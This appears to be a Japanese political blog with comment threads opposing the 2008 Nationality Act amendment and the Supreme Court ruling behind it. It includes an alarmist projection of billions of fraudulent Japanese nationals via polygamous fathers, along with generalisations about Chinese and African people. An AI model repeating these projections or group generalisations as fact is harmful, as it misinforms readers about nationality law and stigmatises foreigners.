3. もし無防備地域宣言をすることができても、現実的に地域住民の安全を守ることができない。
中略
最終的に審議をするのは議会です。日本の議会の良識が、狂信的な活動に必ず打ち克つということを信じてください。
http://xdl.jp/hantaitouron/
良識ある議会が多ければ良いのですが、既にかなりの自治体で条例が制定されています。
それと、こいつOS/Fontに依存する文字を使わない様にしろといっても云う事を聴かない。
書いている事に矛盾を指摘すると政治思想の問題にしようとする。
こっちは一般常識を書いているにも関わらず、技術がどうのこうのと云って言い逃れをする最低な奴だからなぁ。
人の管理には厳しく、自分には超甘過ぎだから人間的に大嫌い。
人としてどうかと思うぞ。
コメントを残す
国籍法 - 違憲判決を考える
最高裁判所は父方が日本人、母方が外国人の場合、嫡出子と非嫡出子の国籍法での取り扱いの違いが違憲であると判断しました。しかし、最高裁の5人の判事は違憲であるとは断定していません。この判決には疑問点や問題点も多くあるのです。以下のURLに、その疑問点や問題点が詳しく解説されています。
国籍法違憲判決の問題点
http://tamacom.com/~shigio/defend/nationality-j.html
私は少し視点を変えて、国籍法の規定と法の下の平等を考えてみます。
そもそも、国籍法で嫡出子と非嫡出子をなぜ区別してたのか理由は何だったのでしょうか?
よく議論に「母親が日本人の場合は、婚姻に関係なく自動的に子は日本人なのに、父親が日本人の場合は、婚姻が条件となり子は自動的に日本人にならないのは平等ではない」と挙げられています。しかし、本当に親の性別により、この区別が作られたのでしょうか?
婚姻要件の区別が作られた理由は親の性別でなく、母親の国籍が区別の理由なのです。母親が日本人である場合、出産は生まれた子が日本人から生まれた子であると容易に証明できます。一方、母親が外国人である場合、出産により生まれた子は外国人であることは容易に証明できますが、日本人の子であることの証明は容易ではありません。最高裁では血統主義を違憲としていません。血統の証明に合理的な疑いの余地がある為、出生前の認知と婚姻を生まれた子の国籍付与の条件としたのです。嫡出子に限る制限は、血縁がある場合でも、国籍取得を目的とした無責任な受胎を防止する効果を持たせていました。嫡出子に限ることに合理性がありました。(前のエントリを参照)従って、婚姻要件は合理的な区別であり、合憲である考えられます。
実は最高裁も同じ考えです。最高裁判所の判決でも立法時には合憲であった、としています。結婚、家族形態が変わり、婚外子が増えた事を違憲の根拠としています。国籍法違憲判決の問題点では0.8%から2.0%となっていますが、衆議院法務委員会の稲田朋美議員の質問では、非嫡出子が1%から1.9%と0.9%変わったことにより、国民の意識が変わったとするのは疑問である、としています。国籍法違憲判決の問題点で詳しく解説されています。
次に、外国人の母親から生まれた子の取り扱いが「法の下の平等」(憲法14条1項)に違反するとの判断ですが事実ではないと考えます。まず「法の下の平等」とは全ての国民が同じように生まれ、育ち、生活する事を保障する事を意味しません。共産主義国家でも「全ての国民が同じように生まれ、育ち、生活する」など実現していません。20世紀の壮大な実験により、共産主義・社会主義は逆に大きな差別と虐待を生むシステムだと証明されています。素人の理解ですが「法の下の平等」とは法的地位やそれに伴う取り扱いで不当に差別する事を意味する、と理解しています。
「法の下の平等」が担保されず違憲とするなら、外国人の母親から生まれた非嫡出子に対する法的地位(外国人であること)により、日本国内における社会保障や教育など日本国民が得られる公的サービスが不当に制限されていなければなりません。しかし、衆議院予算委員会で各担当省庁の官僚が答弁した通り、現在の日本では、外国人も実質的に日本国籍を持つ者と同様の公的サービスを受けられます。つまり外国人の子であっても「法の下の平等」は担保されているのです。
さらに、日本人の父親に認知されている外国人の子の場合も、もちろん帰化が可能です。普通に生活していれば、確実に日本国籍を取得可能です。帰化により平等性は十分担保されます。最高裁判事の横尾和子氏ら3名も、判決文が帰化を『軽視しすぎている』と批判しています。
最高裁判所が違憲としている根拠が不十分であり、裁判官の中でも議論になっていたのです。
「最高裁の判決であっても、間違っているものは間違っている」と衆議院法務委員会で赤池誠章議員も発言しています。私も同意見です。
日本国の最高裁判所が、日本とは全く異なる、海外の状況(日本の婚外子は2%弱、欧州は30〜50%超)を参考するなど「本当に日本国の最高裁判所なのか?」と疑問に思える判決です。
6 コメント
前のエントリ(国籍法 - 100年先の日本人は何人いるのか?5000万?1億?2億?)で書いているシナリオですが、国籍法の改正を待たずに既に可能となっています。それは、最高裁が「父親が日本人で真正な子であれば日本国籍を認めないと法の下の平等に反する」と判断したからです。前のエントリでも書きましたが、母親が日本人か外国人かで合理的な区別を許さなければ、海外で日本人が無限増殖といって良いようなペースで増える事を防止する事は、不可能なように思えます。
この最高裁の判決は、日本を壊した判決、として日本が消滅したあとにも歴史に残る判決になると思います。
違憲判決の一部です。わかり辛い文章ですが「婚姻要件を付ける事により、不正に国籍を取得する行為を制限できているとする意見に合理性はない。しかし、婚姻要件を無くすと不正が行われるかも知れないから、将来はDNA検査を考えても良いかもしれない。」これを書いた裁判官は近藤崇晴氏だそうです。
理解できない文章です。現在の嫡出子に限った国籍付与に「不正を防止する機能がく、合理性がない」「不正が行われると予想できる。でも、その対策は将来考えればよい」最高裁の裁判官が、不正防止機能を持つ法律に不正防止機能が無いと断じ、新たに不正を防止する機能は将来考えればよい、と犯罪を幇助するような判決文を書いてよいのでしょうか?
「違憲として判断した部分を取り払う事により、無くなってしまう犯罪防止機能は、立法府によって担保される事が妥当だ」くらいの事を書けないのでしょうか? 書けないなら、いっそ全く触れいない方がまだ良いです。最高裁が「犯罪防止機能を持つ法律の規定を無意味で無効」とし、わざわざ「犯罪防止機能は今すぐ作らなくても将来検討すればよい」などと判決文に書くのは妥当なのでしょうか? 法務省の官僚も改正法案にDNA鑑定が入っていない理由を支える論拠として使っていた部分でもあります。
少なからぬ一般の国民が嫡出子要件を取り除いた条文を見て「犯罪者に悪用される」と懸念しているのは事実ですし、このまま立法化されたら犯罪者に確実に悪用され、従来よりも多くの偽装日本人が誕生するでしょう。
国の根幹に関わる国籍法ですら、こんな状態です。
この国は政治も行政も司法も駄目になってしまったのかも知れません。
「〜これが準正要件を設ける理由の一つとされることがあるが,」
→準正要件によって偽装認知が防がれるとか言ってる人がいるが、
「合理的関連性があるといい難いことは,多数意見の説示するとおりである。」
→そんなの根拠無いよね。
ではでは。
(最初はコメントはこのまま残しておこうか、と思いましたが中途半端に読んで早合点されても困るので修正することにます)良いように読み間違えてます。さらに酷い... まさかここ迄とは思いませんでした。衆議院TVで見た官僚の答弁の意図が今正しく理解できました。
しかし、最高裁の裁判官は大丈夫なのか心配になりました。米国の様に、一人一人の判事が国民的議論の対象になり、選ばれていくようなシステムにしないと怖いですね。選挙の時の○、×も、白紙を○とみなす規定も変更し、無効としなければならないでしょう。今のシステムだと、"最高裁判事が殺人鬼"でそれでも判事を続けている、くらいの状況でないと罷免などありえないと思います。本当に"最高裁判事が殺人鬼"でも罷免できないかもしれない、と思えるくらいです。
立法はこの制度をできる限り早く修正すべきだと思います。
1. すべて国民は、法の下に平等であつて、人種、信条、性別、社会的身分又は門地により、
政治的、経済的又は社会的関係において、差別されない。
判決理由の疑問
法の下の平等に反する、なぜ国民はと書いてないのか
裁判中の時点では外国人として扱われるべきでは
DNA確認じゃなく、いっしょに写ってる写真で確認って。もう笑うしかない。
コメントを残す
国籍法 - 100年先の日本人は何人いるのか?5000万?1億?2億?
国会議員や官僚の想像力の少なさは嘆かわしいです。それとも分かっていて確信犯としてやっているのでしょうか?先日は中国が侵略的意図を持ったシナリオを書きましたが、今度は侵略するつもりが無くても、日本が崩壊する可能性を考えてみます。
一人男性が多くの子供を認知をする行為を防止するには、認知の際に、何時出会ったか、出会った経緯などを聞くことによって防げる、と考えています。
これは無理です。100人の子供を認知してもおかしくない国は、世界中に沢山あります。例えば、テレビでも有名なボビー・オロゴンさんがアフリカの故郷に帰郷しているテレビ番組を見た事があります。ボビーさんの兄弟は何十人もおり、一緒に暮らしていました。ボビーさんの国では重婚が認められているのです。お父さんはかなりお金持ちらしく何人も奥さんがおり、結果として異母兄弟が何十人もいるのです。このような状況が現実としてある国では50人、100人の子供は非現実的ではありません。
アフリカの国々をはじめ、外国には宗教的な理由から男性の重婚を法的に認めている国は多くあります。嫡出子だけでも数十人の子供がいてもおかしくないのです。重婚を認めている国々では、貧しい人々が非常に多く暮らす国があります。治安が極端に悪い国も少なくありません。
生きる為に、自分の家族を守る為に、遠い異郷の地であっても日本に脱出する手段があるのであれば利用するでしょう。私が同じ境遇であるならが、必死でその方法を模索するかも知れません。女性であったなら比較的簡単です。自分の子供を認知してくれる日本国籍の男性を見つければ良いだけです。男性であっても妻との子供を認知してくれる日本国籍の男性を見つけるだけです。辻褄さえ合っていれば、法務局は国籍付与を認めざるを得ないでしょう。DNA鑑定を導入しても、文化的な違いもある為、大量の真正な子を儲けることも不自然ではありません。(これは現在の国籍法でも可能ですが、日本の民法による婚姻要件があった時は事実上不可能でした)
どれくらいの日本人が増えるのか、簡単に考えてみましょう。単純化するため、仮に日本に全く来ること無く、元から暮らしていた自分の国に居住し続けたとします。簡単に計算する為の仮パラーメタを設定します。一人が平均100人の男の子を作ったとして、はじめに1000人の日本人男性がいたとします。男系だけの日本人でも
100^世代数 (^は累乗)
のペースで増えていきます。若者の曾孫の代には、
1000(本人)*100(子)*100(孫)*100(曾孫) = 1,000,000,000人
なんと10億人の日本人が生まれることになります。仮定が単純で極端なので、実際には成長する前に死亡したり、より少ない子供しか作らない事もあるはずであり、当然もっと少ない数値になると考えられます。(50人づつなら1250万人です。もし、最初に日本人が1万人いれば1億2500万人です。1万人と言うと多いようですが、毎年1万人ほど日本に帰化しています。)指数的に増えると大きな問題になる事を理解してただく為に、非現実的な数値にしています。もう少し現実的な数値に変えても、たった数世代先に日本人が数百〜数千万人、もしかすると1億人以上増加することは可能である、思えませんか?(家族も入れると更に数倍から数十倍) 3世代目、4世代目、5世代目でも日本人でいることに価値があるなら、なおさら可能性が高くなります。
ちなみに5世代目までだと
1000(本人)*100(子)*100(孫)*100(曾孫)*100(玄孫) = 100,000,000,000人
1000億人!となることは有り得ませんが、重婚を認めている文化や法律を持つ外国の国民ほぼ全べて日本国籍所有者となっていてもおかしくありません。(22歳までなら重国籍が日本の法律でも認められている。外国が国籍放棄を禁止すれば、日本国籍を宣言しても、重国籍状態を維持することも可能)
海外で居住する日本を知らない日本人が、日本国内の日本人より多く存在する事態になれば、従来から日本で暮らし続けている日本人の権利は重視されなくなるどころか、ないがしろにされる可能性さえがあります。民主主義ですから当然です。民主主義を理解しない国民であるなら、独裁国家・人権弾圧国家の非民主主義国家に変わってしまう可能性すらあります。
民主党は衆議院法務委員会の付帯決議として、新しい国籍法を世界中に周知させる項目を入れました。これにより、外務省は世界中の国々へ悪用可能な国籍法を周知しなければならくなりました。移民を受け入れてきた国が、移民の家族をDNA検査で判別しているのは、このように指数的に増える移民人口を抑える為に、必要不可欠であるから何年も前からDNA鑑定を導入したのです。悪用が法的・科学的に不可能であれば良いのですが、悪用可能な国籍法を海外に周知徹底せよ、と要求する民主党の要求は理解できません。
日本国籍を持つ者は日本国が責任を持って保護しなければなりません。世界中で膨大に膨れ上がった場合でも、日本国は全ての日本人を等しく保護しなければなりません。「日本人でいること」に価値がなくなれば、日本人の人口が膨大に膨れ上がる事はないでしょう。しかし、「日本人でいること」に価値がなくなった日本に娘やその子供たちに住んで欲しいとは思いません。
今、国会議員は重国籍も検討しています。重国籍も非常に大きな問題であり、重国籍も決して認めてはならないと考えています。もし仮に重国籍が国会で認められそうになるのであれば、ブログに取り上げます。
私には、自分の娘達の子供や孫に膨大に膨れ上がる「日本人の責任」を押し付ける事はできません。皆さんも同じではないでしょうか?
私は排外主義を唱えるつもりはありませんが、無制限とも言える解放には反対します。
「日本が崩壊する」と同じ危機感を少しでも共有できる方が増えれば良いのですが...
11 コメント
仕事柄、指数的に増加するケースには敏感です。ですから、国籍法の改正を知った時「有り得ない」と直ぐに感じました。極端な例ですが、日本と日本人の価値が急激に劣化する、そんなリスクもあります。人口や人口構成の急激な変化は国にとって大変重大な問題です。好ましくない急激な変化は、政治によりできるだけ制御すべきです。
このエントリで挙げた事例は、現行の国籍法でも行えます。日本よりヨーロッパの国々方が重婚を認めている国が近くにあるのでどのような対策を法的にとっているのか?また、対策とっていなくても大丈夫なのか?興味があります。
「最悪を想定し、最善を祈る」なら良いのですが「最善を想定し、最善だけを考える」、そんな国会議員や官僚では日本を守れません。日本が100年後に存在するのか、など15年ほど前には考えもしませんでした。しかし、今は、国籍法の以外の動きをみても、100年後の日本の存在は危うい、と思えてなりません。
世界中の国は、経済で競争するだけでなく、命がけの生存自体をかけて競争しています。日本人には「命を賭けた生存競争をしている」という意識が希薄すぎます。
今の子供たちの孫の代でも、最低限、今の日本と同じように暮らせるようにするのが、私たち大人の責任です。
平沼赳夫議員が「歯止めのない法律」と発言されていますが、まさにその通りです。
100*100*100*100*100 = 100億人
100年で100億人、とまでならなくても、認知ビジネスが横行すれば、短期間に1億人くらいの日本人が生まれる可能性が無い、とは言えません。エントリで書いたように国まるごと日本人ばかり!という国が出来上がるかもしれません。婚姻要件がないのでDNA検査を行ったとしても、あまり意味がないです。次のエントリでは婚姻要件と関連して、違憲判決について考えてみます。
改正国籍法は「歯止めのない法律」と呼ぶのがぴったりの法律です。
日本の国内法で重国籍を認めるのはもっての外ですが、日本政府は他国の動向をよく調査し、重国籍を認める国を注意深く観察する義務があります。改悪国籍法に続き、重国籍を認めると本当に「国まるごと日本人」の国が世界中にできる可能性があります。
議案を一度も読まずに党の方針に沿って賛成票を投じる議員がどれほど多いことか。
そうすることが、業界で生き残れる一番の方法になってしまってるのが現在の政治なんだろうと思います。
個人的には、与党、野党、とわかれたら数の力で与党の言い分が通ってしまうのは当然なので、ほとんど民主的な政治はできないと思ってます。党という制度をやめて、すべての議員が自分で考えて行動すべき。
政治家という職業は、いかに国民の生活を豊かにするかではなく、いかに自分の権力を維持するか、という職業に成り下がってます。
オバマさんみたいな信念と行動力のある人希望です。(まだこれからお手並み拝見ではありますが)
この国籍法の問題も、おそらく実際に問題が起きてからあわてて改正するんでしょうね。
しかし、国はもしもの時の為の対策をする義務があります。極論とも言える状態も考えなければならないのが国なのです。でなければ、9条で軍事力の所有を放棄している日本が自衛隊を持っている理由はありません。軍隊や自衛隊があるのは、国際紛争の最終手段である戦争が発生した場合に対処するためであり、最終手段である戦争を発生させない抑止力でもあります。国籍法は国家を構成する国民を定める法律であり、国家の根幹に関わる法律です。このような重要な法律は、極論と言えるような事態が発生しても、問題なく対処できる法律となっているべきです。
> この国籍法の問題も、おそらく実際に問題が起きてからあわてて改正するんでしょうね。
残念ながら、そうなる可能性が高いですね。その場合、すでに遅い可能性があります。分かっているだけでも偽装結婚が毎年何百件もあるようですが、どうするんでしょうね? 市役所に聞くと、認知自体は非常に簡単で、出生証明書さえ本物らしければ認知できるようです。
中国の様な多重国籍完全排他の法律だと在外日本人は確実に減ります。
そうなると非常によろしくないと思ってます。
また、現状でも1984年12月31日以前に多重国籍の人はそのまま多重国籍が認められています。
(国籍選択の義務が無い)
これは元ペルー大統領 フジモリ氏やプロ野球選手のマイケル中村とかがそれにあたります。
また、成人後に婚姻等で強制的に得られた国籍もそのままに出来ます。
後、最近ではオーストラリア国籍が永久もの(離脱不可能)になったので、オーストラリア生まれの人は国籍選択を日本にしても、そのままオーストラリア国籍も維持した重国籍になってしまいます。
私は多重国籍容認にした方が他国の国籍法との兼ね合いとの考え方が容易になり分かり易い物になって運用がし易くなると考えています。
私には現状の国籍法でも重国籍の部分はかなり複雑に見えますよ。
ちなみに、アメリカは最近重国籍に排他的になりつつあるけど、市民権だけでも十分だから市民権を維持すればUS国籍放棄しても平気ですけどね。
もっと若い頃はグローバリストとかリベラルと呼ばれる人達に近い考えを持っていましたが、留学してから考えが変わりました。自民党の牧野衆議院議員も世界の国を見て、日本の良い所、伝統や文化を守っていかなければならない、と考えるようになりました。若い頃に重国籍の事について意見を聞かれたら、今と違ったと思います。
国籍が離脱できない、などの問題やフジモリ氏が参議院に立候補で「え?」と思ったので、昔は重国籍が認められていたは、その時しりました。
重国籍には安全保障、選挙制度、日本の統治など国家の根幹に関わる問題があります。日本は、スパイ防止法や他の国々が定めている安全保障策やセーフガードが無い状態であり、まだ議論する以前の状態です。重国籍の議論などはこれらの、最低限必要な法制度を作ってから議論しなければならない、と考えています。
このエントリを書いた後に、違憲判決について判決は間違である、との考えを書きました。このエントリを書いている時は、現行法では、ここで書いたような「複数の女性に大量に日本人を生ませる行為はできない」と思っていました。
しかし、ここに書いている「複数の女性に大量に日本人を生ませる行為」は違憲判決による法解釈の変更により、すでに合法となっている、と考えられます。
これを防ぐ立法は可能なのか? いまの所は思いつきません。最高裁の判事15人に見解を聞けるものなら聞いてみたいです。
讃岐のお雑煮の全国展開を是非ご協力を!!;-)
>昔は重国籍が認められていたは、その時しりました。
現在も条件次第で認められてるし、問題となっているのは22歳までに国籍選択が有名無実化している事です。
>「複数の女性に大量に日本人を生ませる行為はできない」と思っていました。
認知だけして、後は放置っていくらでも出来ますね。
後内縁の妻を何十人、何百人と作る事も法的には可能です。
>これを防ぐ立法は可能なのか?
民法や戸籍法を大幅に変更するしか方法は無いと思いますよ。
昨年度の自然増加数は-16000人です。
昨年度の帰化の人数とほぼ同数です。
しかし、自然増加数のマイナスの増え具合を見ると、この先減るしか道がない様に見えます。
(2005年がマイナス、2006年が2年ぶりのプラスになったけど2007年で再びマイナス)
私にはこの先、減る方向でしか無い様に見えます。
参考;
平成19年 人口動態統計の年間推計
http://www.mhlw.go.jp/toukei/saikin/hw/jinkou/suikei07/
帰化許可申請者数等の推移
http://www.moj.go.jp/TOUKEI/t_minj03.html
ついでに、こういうのもご参考にどうぞ。
海外在留邦人調査統計
http://www.mofa.go.jp/mofaj/toko/tokei/hojin/08/pdfs/1.pdf
平成19年度に於ける外国人登録者数統計
http://www.moj.go.jp/PRESS/080601-1.pdf
個人的には、他文化を感じたいなら、外国に行くべきだと思います。外国人にも来てもらえれば良いと思います。そうすれば文化摩擦など一切無く、文化交流できます。互いに「他人の芝は青い」と思って交流している方が双方幸せです。
ところで、讃岐うどんと讃岐のお雑煮は誇れる食文化です!
補正予算が決まれば、高速が往復5000円で行きやすくなるのですけどね。
そういえば、あっと言う間に雑煮が美味しい季節になりましたね。
由緒正しい江戸の言葉を喋る人って落語家くらいなものになってしまいましたしね。
うちの母方の祖母は東京育ちだったので江戸の言葉を喋っていたんですけど、その喋りは絶滅したと云っても良いくらいの言葉になってしまってます。
そういう意味では讃岐弁も保存していかないかんけど。
東京の讃岐うどん屋、丸香っていう店で毎年年初に讃岐のお雑煮を出すので東京在住の外国人に「これが日本を代表するお雑煮です」と親切に教えて食べさせています。
日本の正しいお雑煮の餅には必ず甘いあんこが入っていると世界中の人に教えて広めて行ってます。
焼き切り餅をお澄ましに入れるのは偽物です!と刷り込みまくってます:-)
コメントを残す
Google Trendsから見た国籍法へ興味を持つ国
先ほどGoogle Trendsで「国籍法」で検索してみました。
http://www.google.com/trends?q=%E5%9B%BD%E7%B1%8D%E6%B3%95&ctab=0&geo=all&date=all&sort=0
やはり中国では日本の国籍法の改正が話題になっているようです。
心配だけで終われば良いのですが...
国籍法改正により、もし偽装認知による国籍取得が横行すると、父方日本人の嫡出子で国籍を取得している日本人まで、認知による国籍取得者として周囲から疑われる、などの不利益も発生しそうです。真正な日本人には迷惑な法律を作った物だと思います。
真面目な中国人も沢山いるのに、日本人より犯罪率が高い(海外に日本人が行き犯罪者となる割合と中国人が来日して犯罪者になる割合を比べるとすごい違いになります)ので、真面目な中国人が疑いの目で見られるのと同じです。真面目な中国人なら犯罪を犯す中国人などいなくなって欲しい、と思っているに違いありません。
にも関わらず、わざわざ犯罪者に利用されやすい法律を作る。全く理解できません。

7 コメント
他に漢字でこういった用語を使う国ってありましたっけ?
googleを使うならニュース検索やブログ検索で言語指定して調べてみるといいのではないでしょうか。
勉強不足なりに認知についても調べたのですが、認知すると、相手から養育費などの請求されるリスクがでてきますが、それも覚悟の上で偽装認知が出てくるでしょうか。
「認知」を商品として売る人がでてくるでしょうが、認知前は「請求はしませんから認知だけおねがいします」なんて言われても、認知してしまえば、請求権が発生します。子供が大人になるまで、そのリスクは続くことになりますしね。
純日本人がやるにはリスキーかもしれませんが、犯罪集団内に1人日本人国籍を持つ人ができれば、あとは芋づる式に国籍取得汚染は発生しそうではありますね。組織内で請求させないよう圧力かけられるでしょうし。
何にしても、危険な法律なのは確かですね。これを大々的に報道しないマスメディアの無能さが・・・給付金なんてどうでもいい。
Google Trendsのグラフを見れば、常に中国から「国籍法」の検索がなかった事がわかります。日本の国籍法改正問題が中国からの「国籍法」をキーワードとした検索が増えた原因だと類推できます。
養育義務や遺産相続は認知をすると発生します。しかし、これらの経済的負担を気にするのは「持っている人」だけです。ドイツでの国籍法の悪用例もドイツ人のホームレスと一緒に偽装認知しています。
日本でも偽装結婚した国籍の不法取得は多くあります。認知であれば更に敷居が低いので悪用例が増えると予想できます。
> 犯罪集団内に1人日本人国籍を持つ人ができれば、あとは芋づる式に国籍取得汚染は発生しそうではありますね。
法務省の官僚は「外国に住む日本人の認知」について全く考慮していないようです。海外で育った20歳の男性を認知し、日本国籍を取得した場合、渡航履歴など全く関係ありません。10人、20人でも認知可能です。DNA鑑定でさえも、国籍取得を目的とした受胎を行う場合、意味がありません。
DNA鑑定だけを問題にしている方もいますが、扶養事実も確認し、国籍取得要件とするべきです。「認知はしました、しかし後の面倒は国が全部見てね」では無責任です。現状では日本国が無制限に日本人とも外国人とも分からない人を税金で養う事を可能する法律になっています。
http://www.google.com/trends?q=%E5%9B%BD%E7%B1%8D%E6%B3%95&ctab=0&geo=all&date=2008-11&sort=0
コメントありがとうございます。
今はでませんね。相対的な量が減ると表示されません。これが理由です。少なくとも、今なら11月に限っても、ブラウザの言語設定は今でも中国語になっているクライアントから英語と同じくらいアクセスが来ているようです。ブログに貼り付けられているスクリーンショットでは圧倒的に2位が中国、今現在2位のUnited Statesは7位で、それも、ごく少量となっています。中国からのアクセスは一段落し、大量のアクセスがアメリカからあった事がうかがえます。もしかすると、大量のアメリカ系日本人が生まれる(?)のかも知れません。
あまり有り得ない理由まで考えると
11月は日本からの検索が増えすぎた (グラフ表示からすると、ものすごく増えているようです。これが一番の理由でしょう)
6月の時点では大量の検索があったようなので、現在では中国語のコンテンツが作られ、そちらが検索されている。(あまり、ないでしょう)
Googleは中国からの検閲を受け入れているので操作した(いくら何でもこれは可能性が低いと思いますが、え?と思うような事をするのが中国政府ですから)
などが考えられます。
ブログに貼られているスクリーンショットは2007年から現在までの総数をグラフにしたものであり現在話題になっていることを証明するには不適切だと思います。
コメントを残す
国籍法改正 - 衆議院法務委員会で採決され通過
国籍法の改正が、全く修正されず、衆議院法務委員会で可決しました。
おそらく、すぐ事後の本会議でもほとんどの議員の賛成を得て可決するでしょう。
民主党が賛成なので、参議院での法案修正も難しく、参議院でもこのまま可決すると思われます。
最高裁の違憲判決の中にも、父子の真正性を確かめるようにとあったのですが、DNA鑑定を条項として盛り込まれないでしょう。しかし、海外ではDNA鑑定は普通に行われています。
牧原氏は、「調べてみると、スイスは従来の日本の法律(国籍法)と全く同じだ。ドイツは今回の日本と同じような改正を行ったところ、偽装認知などの事例がみられた。日本はドイツと同じ失敗を繰り返すことになる。DNA鑑定は有効であり、世界的にも事例があることだ」と語っていました。会合で配布された各国の移民の家族に対するDNA鑑定の様態は以下のようでした。
・イギリス…1990年代から実施されている。法的根拠はないが、移民行政によって行われている。口腔組織を採取し、政府により権限が与えられている機関で分析する。費用は、国が負担する。
・イタリア…2005年3月から実施されている。移民に関する統一法典を改正する2004年10月18日のデクレに法的根拠がある。血液または唾液を採取し、政府により権限が与えられている機関で分析する。費用は、申請者が負担する。
・オーストリア…2006年から実施されている。法的根拠及び詳細は不明。
・オランダ…2000年2月1日から実施されている。1999年6月23日に、国会でDNA鑑定が認められ、2000年1月27日に関係法が公布された。口腔組織を採取し、政府が権限を与える3つの機関で分析が行われる。費用は申請者が支払うが、親子関係が証明されれば、払い戻しを受けることができる。
・スウェーデン…開始時期については不明。現在、法的根拠はない。血液を採取し、国立法医学研究所にて分析する。費用は、申請者が負担する。なお、DNA鑑定に関する法制度を現在策定中である。
・ドイツ…開始時期については不明。現在、法的根拠はないが、ドイツへの外国人の入国及び滞在に関する2004年8月5日の法律に拠って行われている。唾液を採取し、政府により権限が与えられている機関で分析する。費用は、申請者が負担する。なお、DNA鑑定に関する法制度を現在策定中である。
・デンマーク…1994年から実施されている。1996年からさらに強化されて実施されている。外国人法第40条Cが法的根拠である。血液を採取し、コペンハーゲン大学で分析する。費用は、政府が負担する。
・ノルウェー…1999年から実施されている。法的根拠は不明だが、DNA鑑定の態様については、2002年の通達に従って行われている。唾液を採取し、イギリスの政府認定機関に送付され、分析される。費用は、国が負担する。
・フィンランド…2000年6月から実施されている。法的根拠は、2000年3月1日に改正された外国人法である。血液または口腔組織を採取し、ヘルシンキ大学または政府が認定する医学研究所で分析する。費用は、国が負担するが、分析の結果、血縁関係が認められない場合には、費用は申請者が支払う。
・ベルギー…2003年6月から実施されている。法的根拠はない。血液を採取し、ブリュッセルにあるエラスムス病院で分析する。費用は、申請者が負担する。
・リトアニア…詳細は不明。
http://abirur.iza.ne.jp/blog/entry/799264/
何を差別を言うのでしょうか?DNA鑑定によって救済されるべき日本人にも何ら不利益はありません。しっかりとした検査であれば、周囲からも偽日本人の疑いをかけられる事もなく、良いくらいでは無いでしょうか?反対に、DNA鑑定を行わない事により売春、児童虐待などの被害者を多数生む可能性が十分あるのは明らかです。わざわざ人身売買を目論む犯罪者に利するような法律を作り、通してしまう、そんな日本の政治には危機感を覚えます。
法務委員会の官僚の答弁では、出入国記録などで届けでの真贋を計る、としていました。しかし、海外にずっと居住してきた日本人男性の場合はどうするのでしょうか?子供といっても20歳までが子供です。実際に幼い子供を認知・国籍付与しても、海外で育ち大きくなるかも知れません。出入国記録など全く役に立ちません。絶対に本当の父子であるのか判別できないケースが分かっており、その対策も確立しているにも関わらず、法案に対策を書かないのは立法府の怠慢と言えます。
疑問点は他にもあります。海外に住む日本人が生活に困窮した場合の扱いです。今までの日本人は海外で生活に困窮するような事は、ほとんど無かったのではないかと思います。日本大使館が日本に送ってくれるのでしょうか?それとも海外で生活保護を受給できるのでしょうか?さすがに生活保護は地方行政の範疇なので海外で受給する事は難しいと思います。しかし、裁判をして最高裁まで争うとまた違憲判決が出るのではないでしょうか?つい先日も韓国籍の被爆者が、日本に来れないことを理由に被爆者手帳が貰えないのは違憲だ、とする高裁の裁判で違憲判決が出たところだと思います。生活保護も、最高裁で違憲判決が出たら法治国家としては、支給せざるを得ないでしょう。
前のエントリで、海外で出生し育った日本人が大量に増えた場合のリスクをフィクションで紹介しました。将来日本人は日本語も知らない、日本の文化も知らない、日本へ来たことさえない、大量の日本人の生活を支える為の存在、となりはしないでしょうか?少なくともそのリスクは予見できます。
本当に日本人なのかも定かではない日本人が、大量に日本にやってくる可能性がある事にも非常に不安です。直ぐに現れる雇用の悪化は様々な悪影響を社会にもたらします。本当に日本国民の総数に対して、影響が十分余裕を持って吸収できるような数量であれば良いですが、偽装認知による国籍取得とその家族が大量に日本にやってくるような事になれば、大きな社会問題となります。
法務省の見解だと、新しい法律で救済される件数は今までの情報からだと年間600件だそうです。仮に倍となり、1200件だったとしても税金でDNA検査を負担しても対した金額ではありません。たったこれだけで、何百、何千もの人身売買を防げる可能性があります。虚偽申請が疑われるケースを調査したり、警察が捜査するにも税金が必要です。DNA検査無しであれば、その費用はDNA検査がある場合と比べ、莫大な金額になると予想されます。
重要法案にいつでも反対の民主党も野党も、国を売るような法案に限って早々に賛成を決める、こんな政治では、娘達が将来どのような生活を強いられるのか本当に心配になります。
10 コメント
しかも、今回の法案ではクラッカーが最初から何処を、どう攻撃すれば、成功するか?明らかになっているブラックリスト方式なのです。
コンピュータセキュリティを生業をされてる方であれば、穴だらけかつ、易々攻略可能なブラックリスト方式では不正(偽装認知による国籍取得)を防ぐことは出来ない、と直ぐにお分かりでしょう。
他にも、官僚の発言をコンピュータセキュリティで類似の事項に例えると、「rootkitが埋め込まれても、アンチウィルスソフトがあるので大丈夫です」と同様の発言をしています。rootkitが埋め込まれないようにする現実的な方法があるのに、わざわざ使わないで「rootkitを入れてから、それを検出します」と言っていました。
飽きれて物が言えません。
この件について昨日からいろいろ勉強してますが
実務家の方のこんなブログがありました.
件の新聞記事に対する批評もあるようです.参考までに.
○○○!知恵袋 国籍法は改悪なんでしょうか?
http://blogs.yahoo.co.jp/isikeriasobi/55815187.html
どうしてもDNA鑑定が気になるけど、冷静に、法的な思考をする準備はあるよ、という方へ。
http://blogs.yahoo.co.jp/isikeriasobi/55832025.html
「件の新聞記事」と書きましたが,新聞ではなく阿比留記者のブログのことでした.
http://abirur.iza.ne.jp/blog/entry/799264/
個人的にはDNA鑑定料が安ければ申請者負担でも良いとは思いますが、国が負担となると「高額なDNA鑑定料を国が払うなんてもってのほか!」という反対意見を恐れていれてないんじゃないかな?
あと、私が分かってないのは生地主義と血統主義は厳密に分ける必要性があるかと云う事。
日本国は血統主義であるから、何が何でも血統主義でないと駄目!でいいんですかね?
DNA鑑定はそれほど高くありません。安い簡易鑑定なら数万円、高くても20万ほどだそうです。
今までの統計情報からは、年間600名ほどの方が、新しい国籍法により日本国籍を取得する事になるそうです。仮に1000名だとしても、1000*20万=2億円にしかなりません。
不正を捜査、摘発する努力やコスト(これには、犯罪者が流入することにより被害者が発生することも含む)に比べれば、2億円など必要なコストとして、国が負担すべきです。
どちらかというと、DNA鑑定をしないことにより不正申請が増え、それに対処する人員を増やす方がよっぽどコスト増になると考えられます。コストはあまり関係ないと思います。
ただ、必要に応じてDNA鑑定も要求する様な話ですよね。
あと、DNA鑑定に関しては施行令に入れるべきの話で本文に入れるのは間違いという話も有る様ですよ。
ちなみにDNA鑑定の胎児鑑定の場合、高い所だとMacBook Pro 2.53GHzが買えるくらいの値段ですよ。
